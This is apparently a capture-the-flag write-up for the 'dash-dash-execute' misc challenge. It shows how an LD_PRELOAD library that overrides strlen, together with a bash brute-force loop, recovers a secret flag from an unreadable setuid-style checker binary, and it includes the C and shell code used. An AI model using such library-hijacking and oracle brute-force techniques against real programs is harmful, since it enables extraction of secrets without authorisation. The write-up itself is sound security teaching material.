# [--x](https://play.camp.allesctf.net/tasks/dash-dash-execute) Category: Misc Difficulty: Easy Author: Flo First Blood: sf Did you know that you can mark executables as non-readable? Check out /usr/bin/flagcheck for an example. Challenge Files:flagcheck.c ## first inspection the content of the `flagcheck.c` is following: ```c #include <stdio.h> #include <string.h> #include <stdbool.h> #include <sys/param.h> #ifndef FLAG #define FLAG "ALLES!{testflag}" #endif bool test_flag(char *inp) { bool res = true; int n = MIN(strlen(FLAG), strlen(inp)); for (int i = 0; i <= n; i++) res &= FLAG[i] == inp[i]; return res; } int main(int argc, char **argv) { if (argc < 2) { printf("usage: flagcheck FLAG\n"); return 1; } if (test_flag(argv[1])) printf("correct!\n"); else printf("wrong :(\n"); } ``` As it seems, `test_flag` is safe to use. But we might preload and therefore overwrite `strlen`, to just print the provided strings: ```c #include <stdio.h> size_t strlen(const char *s) { puts(s); return 0; } ``` Sounds good, doesnt work: https://stackoverflow.com/questions/3437404/min-and-max-in-c Compile it with: ```bash gcc -shared -fPIC -o preloadme.so preloadme.c ``` When preloading the shared object, we get both: ``` $ LD_PRELOAD=./preloadme.so ./a.out A A A correct!3 ``` ![](https://hackmd.io/_uploads/HJzuisqhh.png) But there were multiple issues. The `strlen(FLAG` call seems to be inlined. It does not print the flag, but only `argv[1]`. In the end we could "set" the length for the string comparison: ```c #include <stdio.h> #include <stdlib.h> size_t strlen(const char *s) { //for (int i = -10000; i < 0; i++) { // printf("%08x", *(s + i)); //} //exit(30); //sleep(1000); const char* len = getenv("LEN"); return atoi(len); } ``` calling it this way: ```bash LEN=6 LD_PRELOAD=./preloadme.so ./a.out 'ALLES!{' ``` This way, we can write a bash function: ```bash function next_correct_char() { prefix=$1 length=$(echo -n $prefix | wc -c) for i in {32..127}; do LEN=$length LD_PRELOAD=./preloadme.so flagcheck $(printf "$prefix\x$(printf %x $i)") | grep correct; [ $? -eq 0 ] && { echo $(printf "\x$(printf %x $i)") return 0; } done return 1 } prefix=ALLES while true; do next_char=$(next_correct_char "$prefix") [ $? -eq 1 ] && break prefix="${prefix}${next_char}" echo $prefix done ``` But this didnt work, so we used `next_correct_char` by hand: ![](https://hackmd.io/_uploads/SJO3Rh9nn.png) `ALLES!{surprisingly_similar_to_setuid_processes_but_not_actually_secure}` After scoring, we fixed the code: ```bash function next_correct_char() { prefix=$1 length=$(echo -n $prefix | wc -c) for i in {32..127}; do LEN=$length LD_PRELOAD=./preloadme.so ./flagcheck $(printf "$prefix\x$(printf %x $i)") | grep correct >/dev/null; [ $? -eq 0 ] && { echo $(printf "\x$(printf %x $i)") return 0; } done return 1 } prefix=ALLES while true; do next_char=$(next_correct_char "$prefix") [ $? -eq 1 ] && break prefix="${prefix}${next_char}" echo $prefix done ``` A solution from sweetshark, implemented in C: ```c #include <stdio.h> #include <string.h> int test(const char* testtxt, size_t len) { const char* secret = "ALLES!{foobarbaz"; return strncmp(testtxt, secret, len) == 0; } int find_char(const char* pBuf, char* pCurrent) { *pCurrent=0; if(test(pBuf, pCurrent-pBuf+1)) return 1; // finished for(char c=32;c<128;++c) { *pCurrent=c; if(test(pBuf, pCurrent-pBuf+1)) return 0; } } int main(int argc, char**) { char buf[10000]; char* pBuf = &buf[0]; char* pCurrent = pBuf; while(!find_char(pBuf, pCurrent)) ++pCurrent; printf("%s\n", pBuf); } ````